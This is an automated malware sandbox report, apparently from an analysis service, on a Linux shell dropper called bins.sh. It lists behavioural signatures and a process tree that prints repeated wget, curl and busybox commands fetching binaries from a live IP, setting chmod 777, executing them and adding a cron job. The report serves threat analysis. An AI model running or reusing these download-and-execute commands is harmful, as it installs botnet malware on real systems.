Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/11/2024, 13:33

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241107-qthnrssmat
  • SHA256 a9ba59b335bab0e99dc96e1633a0cad0ec5b4bf2c58d1c95016438fb8a8c81b0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1155) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          ./QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            ./hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://216.126.231.240/bins/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              2⤵
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              2⤵
              • Writes file to tmp directory
              PID:755
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              2⤵
              • Writes file to tmp directory
              PID:768
            • /bin/chmod
              chmod 777 kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              ./kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
              2⤵
                PID:791
              • /usr/bin/wget
                wget http://216.126.231.240/bins/1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                2⤵
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                2⤵
                • Writes file to tmp directory
                PID:804
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/chmod
                chmod 777 1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                ./1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                2⤵
                • Executes dropped EXE
                PID:808
              • /bin/rm
                rm 1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                2⤵
                  PID:810
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/chmod
                  chmod 777 UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  2⤵
                  • File and Directory Permissions Modification
                  PID:816
                • /tmp/UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  ./UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  2⤵
                  • Executes dropped EXE
                  PID:818
                • /bin/rm
                  rm UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                  2⤵
                    PID:821
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    2⤵
                    • Writes file to tmp directory
                    PID:822
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    2⤵
                    • Writes file to tmp directory
                    PID:835
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    ./pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      ./FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        2⤵
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        2⤵
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        ./lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        2⤵
                        • Executes dropped EXE
                        PID:869
                      • /bin/rm
                        rm lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                        2⤵
                          PID:871
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          2⤵
                          • Writes file to tmp directory
                          PID:872
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          2⤵
                          • Writes file to tmp directory
                          PID:873
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          2⤵
                          • Writes file to tmp directory
                          PID:874
                        • /bin/chmod
                          chmod 777 AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          2⤵
                          • File and Directory Permissions Modification
                          PID:875
                        • /tmp/AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          ./AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          2⤵
                          • Executes dropped EXE
                          PID:876
                        • /bin/rm
                          rm AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                          2⤵
                            PID:878
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            2⤵
                            • Writes file to tmp directory
                            PID:879
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            2⤵
                            • Writes file to tmp directory
                            PID:881
                          • /bin/chmod
                            chmod 777 EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:882
                          • /tmp/EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            ./EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            2⤵
                            • Executes dropped EXE
                            PID:883
                          • /bin/rm
                            rm EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                            2⤵
                              PID:885
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                              2⤵
                              • Writes file to tmp directory
                              PID:886
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                              2⤵
                              • Writes file to tmp directory
                              PID:887
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                              2⤵
                              • Writes file to tmp directory
                              PID:888
                            • /bin/chmod
                              chmod 777 hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                              2⤵
                              • File and Directory Permissions Modification
                              PID:889
                            • /tmp/hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                              ./hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:890
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:892
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:893
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:894
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        PID:895
                                  • /bin/rm
                                    rm hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                                    2⤵
                                      PID:897
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/8N2zCuHGLGYSSkuDLnGoBZfeEs7z3WCIyL
                                      2⤵
                                        PID:900

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY

                                          • Path /tmp/1iTpOfQZwkV4lztEDb0KIqS5f07bbluwgY
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP

                                          AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI

                                          • Path /tmp/AmLV5YvQ04vbdW1cRynXIDOR1vQaCsCrFI
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ

                                          • Path /tmp/EkfoKMYJ6YDdBsCGaYb8JjIDcIAe7MgtVQ
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN

                                          • Path /tmp/FFr5y6rTqV6X4dAxDCxqoaHDjeBUnEJmQN
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc

                                          • Path /tmp/QMAzb1MfLd6fuSKKfSAYa9Tl02JgKhHQqc
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          UqPPbxL3ikEdx9bck9esQvQIavUTt993mv

                                          • Path /tmp/UqPPbxL3ikEdx9bck9esQvQIavUTt993mv
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4

                                          • Path /tmp/hABLiD7QjnubmvumhaxOnlhFNBuBDl0LA4
                                          • Size 151KB
                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                          • MD5 SHA1 SHA512 SSDEEP

                                          hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui

                                          • Path /tmp/hUzI3vClxnQv4uNBAUPUJwZrBhyvO3Kkui
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y

                                          • Path /tmp/kDXEkCP18WqMNpOrefkHtCYWV6GmVJND6y
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS

                                          • Path /tmp/lWgt6Zfxy5GEds0PO9kkmo8XLIZSyjzmiS
                                          • Size 111KB
                                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                          • MD5 SHA1 SHA512 SSDEEP

                                          pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H

                                          • Path /tmp/pXfQhNOzXG4upoa7z0BJs0wI12oCTflg4H
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.d3PtLx

                                          • Path /var/spool/cron/crontabs/tmp.d3PtLx
                                          • Size 210B
                                          • SHA256 a452920c183dc14621d75aeccab34fd73a70fc84d717282c3446d033dc5f4fe4
                                          • MD5 SHA1 SHA512